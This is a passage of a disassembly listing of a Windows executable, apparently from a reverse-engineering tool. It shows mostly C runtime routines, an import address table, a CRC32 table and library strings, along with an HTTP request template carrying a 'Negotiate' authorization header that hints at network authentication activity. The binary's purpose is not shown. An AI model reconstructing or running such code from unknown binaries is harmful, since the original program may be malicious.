sub_42651A+3Bj mov eax, esi pop edi pop esi retn 4 sub_42651A endp ; =============== S U B R O U T I N E ======================================= sub_426564 proc near ; CODE XREF: sub_4260BA+16j ; ___:004264C4p ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427CF4 jz short locret_426579 push dword ptr [ecx+4] call sub_41D65F pop ecx locret_426579: ; CODE XREF: sub_426564+Aj retn sub_426564 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; DATA XREF: ___:00427CF8o mov eax, [ecx+4] test eax, eax jnz short locret_426586 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426586: ; CODE XREF: sub_42657A+5j retn sub_42657A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426587 proc near ; CODE XREF: sub_426173+37p ; sub_42629A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D10 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 2650343h pop edi pop esi leave retn 8 sub_426587 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265C1 proc near ; CODE XREF: sub_4263E5+56p ; sub_4263E5+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_4265D3 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_4265D3: ; CODE XREF: sub_4265C1+Bj cmp dword_4DBE84, 0 jnz short loc_4265ED cmp ax, 41h jb short locret_426634 cmp ax, 5Ah ja short locret_426634 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4265ED: ; CODE XREF: sub_4265C1+19j cmp ax, 100h jnb short loc_426607 push 1 push eax call sub_42686F pop ecx test eax, eax pop ecx jnz short loc_426607 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426607: ; CODE XREF: sub_4265C1+30j ; sub_4265C1+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4DBE84 call sub_426636 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426634 mov ax, [ebp+var_2] locret_426634: ; CODE XREF: sub_4265C1+1Fj ; sub_4265C1+25j ... leave retn sub_4265C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426636 proc near ; CODE XREF: sub_4265C1+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D30 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4DC010, esi jnz short loc_4266AC push esi push esi push 1 pop ebx push ebx push offset dword_427920 mov edi, 100h push edi push esi call near ptr 2640000h nop test eax, eax jz short loc_42668A mov dword_4DC010, ebx jmp short loc_4266AC ; --------------------------------------------------------------------------- loc_42668A: ; CODE XREF: sub_426636+4Aj push esi push esi push ebx push offset word_4CB88C push edi push esi call near ptr 264100Eh nop test eax, eax jz loc_42682B mov dword_4DC010, 2 loc_4266AC: ; CODE XREF: sub_426636+2Ej ; sub_426636+52j cmp [ebp+arg_C], esi jle short loc_4266C1 push [ebp+arg_C] push [ebp+arg_8] call sub_42683F pop ecx pop ecx mov [ebp+arg_C], eax loc_4266C1: ; CODE XREF: sub_426636+79j mov eax, dword_4DC010 cmp eax, 1 jnz short loc_4266E8 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_42682D ; --------------------------------------------------------------------------- loc_4266E8: ; CODE XREF: sub_426636+93j cmp eax, 2 jnz loc_42682B cmp [ebp+arg_18], esi jnz short loc_4266FE mov eax, dword_4DBE94 mov [ebp+arg_18], eax loc_4266FE: ; CODE XREF: sub_426636+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 2811010h nop mov [ebp+var_20], eax cmp eax, esi jz loc_42682B mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426744 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426744: ; CODE XREF: sub_426636+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 2811010h test eax, eax jz loc_42682B push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 264100Eh mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_42682B mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_4267C7 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_4267C7: ; CODE XREF: sub_426636+17Dj cmp ebx, esi jz short loc_42682B push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 264100Eh test eax, eax jz short loc_42682B test byte ptr [ebp+arg_4+1], 4 jz short loc_426805 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426827 cmp eax, edi jl short loc_4267F6 mov eax, edi loc_4267F6: ; CODE XREF: sub_426636+1BCj push eax push ebx push [ebp+arg_10] call sub_41BFD0 add esp, 0Ch jmp short loc_426827 ; --------------------------------------------------------------------------- loc_426805: ; CODE XREF: sub_426636+1B1j cmp [ebp+arg_14], esi jnz short loc_42680E push esi push esi jmp short loc_426814 ; --------------------------------------------------------------------------- loc_42680E: ; CODE XREF: sub_426636+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426814: ; CODE XREF: sub_426636+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 26F0000h mov edi, eax cmp edi, esi jz short loc_42682B loc_426827: ; CODE XREF: sub_426636+1B8j ; sub_426636+1CDj mov eax, edi jmp short loc_42682D ; --------------------------------------------------------------------------- loc_42682B: ; CODE XREF: sub_426636+66j ; sub_426636+B5j ... xor eax, eax loc_42682D: ; CODE XREF: sub_426636+ADj ; sub_426636+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426636 endp ; =============== S U B R O U T I N E ======================================= sub_42683F proc near ; CODE XREF: sub_426636+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42685E loc_42684F: ; CODE XREF: sub_42683F+1Dj cmp word ptr [eax], 0 jz short loc_42685E inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_42684F loc_42685E: ; CODE XREF: sub_42683F+Ej ; sub_42683F+14j cmp word ptr [eax], 0 pop esi jnz short loc_42686C sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_42686C: ; CODE XREF: sub_42683F+24j mov eax, edx retn sub_42683F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42686F proc near ; CODE XREF: sub_4265C1+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_4268AF cmp [ebp+arg_0], 100h jnb short loc_426893 movzx eax, [ebp+arg_0] mov ecx, off_43CE7C mov ax, [ecx+eax*2] jmp short loc_4268B6 ; --------------------------------------------------------------------------- loc_426893: ; CODE XREF: sub_42686F+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_4268C1 add esp, 18h test eax, eax jnz short loc_4268B3 loc_4268AF: ; CODE XREF: sub_42686F+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4268B3: ; CODE XREF: sub_42686F+3Ej mov eax, [ebp+var_4] loc_4268B6: ; CODE XREF: sub_42686F+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_42686F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268C1 proc near ; CODE XREF: sub_42686F+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D48 push offset sub_423CC0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DC014 xor edi, edi cmp eax, edi jnz short loc_426930 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427920 push esi call near ptr 2610075h nop test eax, eax jz short loc_42690E mov eax, esi jmp short loc_42692B ; --------------------------------------------------------------------------- loc_42690E: ; CODE XREF: sub_4268C1+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4CB88C push esi push edi nop call near ptr 261081Dh test eax, eax jz loc_426A72 push 2 pop eax loc_42692B: ; CODE XREF: sub_4268C1+4Bj mov dword_4DC014, eax loc_426930: ; CODE XREF: sub_4268C1+2Fj cmp eax, 1 jnz short loc_42694C push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2610075h jmp loc_426A74 ; --------------------------------------------------------------------------- loc_42694C: ; CODE XREF: sub_4268C1+72j cmp eax, 2 jnz loc_426A72 cmp [ebp+arg_10], edi jnz short loc_426962 mov eax, dword_4DBE94 mov [ebp+arg_10], eax loc_426962: ; CODE XREF: sub_4268C1+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2811010h mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426A72 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BF70 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_4269C0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_4269C0: ; CODE XREF: sub_4268C1+EAj cmp [ebp+var_2C], edi jz loc_426A72 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 2811010h test eax, eax jz loc_426A72 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C500 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426A15 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426A15: ; CODE XREF: sub_4268C1+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426A72 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426A29 mov eax, dword_4DBE84 loc_426A29: ; CODE XREF: sub_4268C1+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 261081Dh mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426A72 cmp word ptr [esi], 0FFFFh jnz short loc_426A72 push edi push ebx push [ebp+arg_C] call sub_41D670 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426A74 ; --------------------------------------------------------------------------- loc_426A72: ; CODE XREF: sub_4268C1+61j ; sub_4268C1+8Ej ... xor eax, eax loc_426A74: ; CODE XREF: sub_4268C1+86j ; sub_4268C1+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268C1 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426A88 proc near ; DATA XREF: ___:00427EFCo ; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D76C sub_426A88 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426AA6 mov ecx, [ebp+8] jmp loc_40D76C ; --------------------------------------------------------------------------- locret_426AA6: ; CODE XREF: ___:00426A98j retn ; --------------------------------------------------------------------------- loc_426AA7: ; DATA XREF: sub_40D340o mov eax, offset dword_427ED0 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426ABC: ; DATA XREF: ___:00427F2Co lea ecx, [ebp-1Ch] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AC4: ; DATA XREF: sub_40D4E2o mov eax, offset dword_427F00 jmp loc_41D2FB ; --------------------------------------------------------------------------- align 10h loc_426AD0: ; DATA XREF: sub_40DA4Fo mov eax, offset dword_427F30 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426AE2: ; DATA XREF: sub_4260FEo mov eax, offset dword_427F90 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426AF4: ; DATA XREF: sub_426173o mov eax, offset dword_428028 jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B06: ; DATA XREF: sub_4261D0o mov eax, offset dword_42804C jmp loc_41D2FB ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_426564 ; --------------------------------------------------------------------------- loc_426B18: ; DATA XREF: sub_426218o mov eax, offset dword_428070 jmp loc_41D2FB ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D76C ; --------------------------------------------------------------------------- loc_426B2A: ; DATA XREF: sub_42629Ao mov eax, offset dword_4280D0 jmp loc_41D2FB ; --------------------------------------------------------------------------- dd 133h dup(0) dd 25F0000h, 2600000h, 2600A9Ch, 2600B37h, 2610000h, 2610075h dd 261081Dh, 2620000h, 26204D0h, 26206E4h, 2630000h, 2630163h dword_427030 dd 263017Eh ; DATA XREF: ___:004239E2r db 90h db 2, 63h, 2 dd 263056Ch, 26305CEh, 2630714h, 2640000h, 264100Eh, 2650000h dd 2650343h, 26508E6h, 2650918h, 2650951h, 2660000h dword_427064 dd 2660559h ; DATA XREF: sub_41F216:loc_41F247r dword_427068 dd 26606FEh ; DATA XREF: sub_41E742+240r dd 77E75CB5h dword_427070 dd 26608D5h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660B67h, 2670000h, 26709F6h dword_427080 dd 2670E97h ; DATA XREF: sub_40111D+29r ; sub_40C3E8+2E9r ... dword_427084 dd 2680000h ; DATA XREF: ___:004015E2r ; sub_4116D6+32r dd 26801F9h dword_42708C dd 26802EFh ; DATA XREF: sub_419C09+B9r dd 2680918h dword_427094 dd 2680972h ; DATA XREF: sub_4119F9:loc_411A8Ar dword_427098 dd 268099Dh ; DATA XREF: ___:loc_4013DCr dd 2680D6Ah, 2680E33h dword_4270A4 dd 2690000h ; DATA XREF: sub_409909+2r dd 26901A5h, 2690262h dword_4270B0 dd 269083Ah ; DATA XREF: ___:0040124Dr ; sub_41AA1E+8Cr dword_4270B4 dd 26908E5h ; DATA XREF: sub_4116D6:loc_4117C2r dd 26A0000h, 26A0BAAh dword_4270C0 dd 26B0000h ; DATA XREF: sub_409909:loc_409E17r dword_4270C4 dd 26B032Eh ; DATA XREF: sub_409909+11r ; sub_4172C1+60r ... dd 26C0000h, 26D0000h, 26D04D8h, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E04C2h, 26E05A6h dword_4270E8 dd 26F0000h ; DATA XREF: sub_419177+Fr ; sub_41E0D4+54r dword_4270EC dd 26F107Dh ; DATA XREF: sub_4119F9+Br dd 2700000h, 2710000h dword_4270F8 dd 27107C1h ; DATA XREF: sub_4187E0+36r dd 2710A1Ah, 2720000h dword_427104 dd 27206A8h ; DATA XREF: sub_411920+3Ar ; sub_41A1B1+79r dword_427108 dd 2730000h ; DATA XREF: sub_411827+23r ; sub_41A1B1+3Br dd 27315A6h, 2740000h, 2740AF5h, 2750000h, 275064Ch, 2760000h dd 2770000h, 27711CFh, 2771CC6h, 2780000h, 2780122h, 27802A0h dd 27804FCh, 2790000h, 27907BAh dword_427148 dd 27A0000h ; DATA XREF: sub_4172C1+BCr dd 27B0000h dword_427150 dd 27C0000h ; DATA XREF: sub_417493+21r ; sub_41761C+4Ar dword_427154 dd 27C0AA9h ; DATA XREF: sub_417493+10r ; sub_41761C+40r ... dd 27C0B1Eh dword_42715C dd 27D0000h ; DATA XREF: sub_41761C+56r dd 27D0310h, 27E0000h, 27E10C4h, 27E1707h, 27F0000h, 27F02CDh dd 27F0498h, 2800000h, 2800764h, 2810000h dword_427188 dd 2811010h ; DATA XREF: sub_4190A5+13r ; ___:00423A57r dd 2820000h, 28204A5h, 2820938h, 2820CE0h, 2830000h, 2840000h dd 28420B2h, 2850000h, 2851C10h, 2851C47h, 2860000h, 2860E19h dd 2870000h, 0 dd 71AB5A01h, 71AB4122h dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 2 dup(0) dword_427220 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o ; sub_401ACD+3514o ... dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o ; sub_401ACD+388Ao ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr ; sub_40D774r ... align 10h dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do ; sub_40D824+5Bo ... dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr ; ___:00416A78r ... dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r ; sub_417E84+3A7r dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br ; sub_417E84+2D5r ... dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr ; sub_417E84+138r ... dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r ; sub_417E84+308r dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr ; sub_41D19B+6Cr ... dd 0FFFFFFFFh, 41E2AAh, 41E2BEh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o align 4 byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43D094o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr ; sub_421BFF+ACr ... dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o align 4 dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o dd offset loc_422AEA align 8 dd offset sub_422AC8 dd offset sub_422AD2 dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 